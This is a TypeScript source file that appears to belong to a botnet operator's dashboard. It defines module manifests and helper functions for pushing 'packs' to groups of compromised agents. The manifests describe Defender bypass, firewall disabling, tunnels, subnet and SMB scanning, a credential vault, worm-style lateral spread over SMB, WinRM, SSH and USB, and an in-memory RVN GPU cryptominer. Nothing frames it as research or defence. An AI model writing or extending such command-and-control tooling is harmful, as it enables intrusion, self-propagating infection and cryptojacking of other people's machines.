import type { AgentCapabilities, FleetModuleManifest } from '../types'; /** Built-in fallbacks when the server list is empty or a pack lacks UI metadata. */ export const FLEET_MODULE_FALLBACKS: FleetModuleManifest[] = [ { name: 'crucible_ops', version: '1', display_name: 'Crucible Ops', summary: 'Dashboard remote aggressive ops — tunnels, scans, firewall, defender', description: 'Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.', accent: 'magenta', capabilities: [ 'Remote tunnels (cloudflared, SSH forward)', 'Subnet scan & SMB share enumeration', 'Firewall punch / disable / profile control', 'Defender RTP bypass (Windows)', 'On-demand spread_now trigger', 'Credential vault & secure wipe', ], features: { remote_aggressive: true }, }, { name: 'spread', version: '1', display_name: 'Spread Pack', summary: 'Lateral and passive spread — SMB auto-spread plus USB/WMI hooks', description: 'Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.', accent: 'cyan', capabilities: [ 'SMB / WinRM auto-spread scheduler', 'SSH lateral spread (Linux/macOS)', 'USB removable-media propagation', 'WMI-based passive hooks (Windows)', 'Spread status & funnel telemetry', ], features: { auto_spread: true, usb_spread: true }, }, { name: 'gpu', version: '1', display_name: 'GPU Miner', summary: 'KawPoW RVN GPU mining when hardware and wallet are present', description: 'Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.', accent: 'gold', capabilities: [ 'KawPoW RVN miner (T-Rex / TRM)', 'GPU hashrate telemetry on dashboard', 'Pause/resume with fleet policy', 'Windows NVIDIA/AMD when drivers present', ], features: { gpu_enabled: true }, }, ]; export function resolveFleetModules(modules: FleetModuleManifest[]): FleetModuleManifest[] { if (modules.length > 0) return modules; return FLEET_MODULE_FALLBACKS; } export function findFleetModule( modules: FleetModuleManifest[], name: string, ): FleetModuleManifest | undefined { const list = resolveFleetModules(modules); return list.find((m) => m.name === name); } export function moduleDisplayName(mod: FleetModuleManifest): string { return mod.display_name?.trim() || mod.name; } /** Human label for the primary push button, e.g. "Push Crucible Ops to Group Alpha". */ export function modulePushLabel( mod: FleetModuleManifest, targetMode: 'all' | 'group', groupName?: string, onlineCount?: number, ): string { const pack = moduleDisplayName(mod); if (targetMode === 'group' && groupName) { return `Push ${pack} to ${groupName}`; } const n = onlineCount ?? 0; return `Push ${pack} to all online (${n})`; } /** Feature flags the agent applies from a pack manifest. */ export function moduleFeatureFlags(mod: FleetModuleManifest): string[] { if (!mod.features) return []; return Object.entries(mod.features) .filter(([, v]) => v === true) .map(([k]) => k) .sort(); } /** Returns true when agent capabilities reflect at least one flag from the pack. */ export function capabilitiesMatchModule( caps: AgentCapabilities | undefined, mod: FleetModuleManifest, ): boolean { if (!caps || !mod.features) return false; return Object.entries(mod.features).some(([key, want]) => { if (want !== true) return false; return Boolean((caps as unknown as Record)[key]); }); }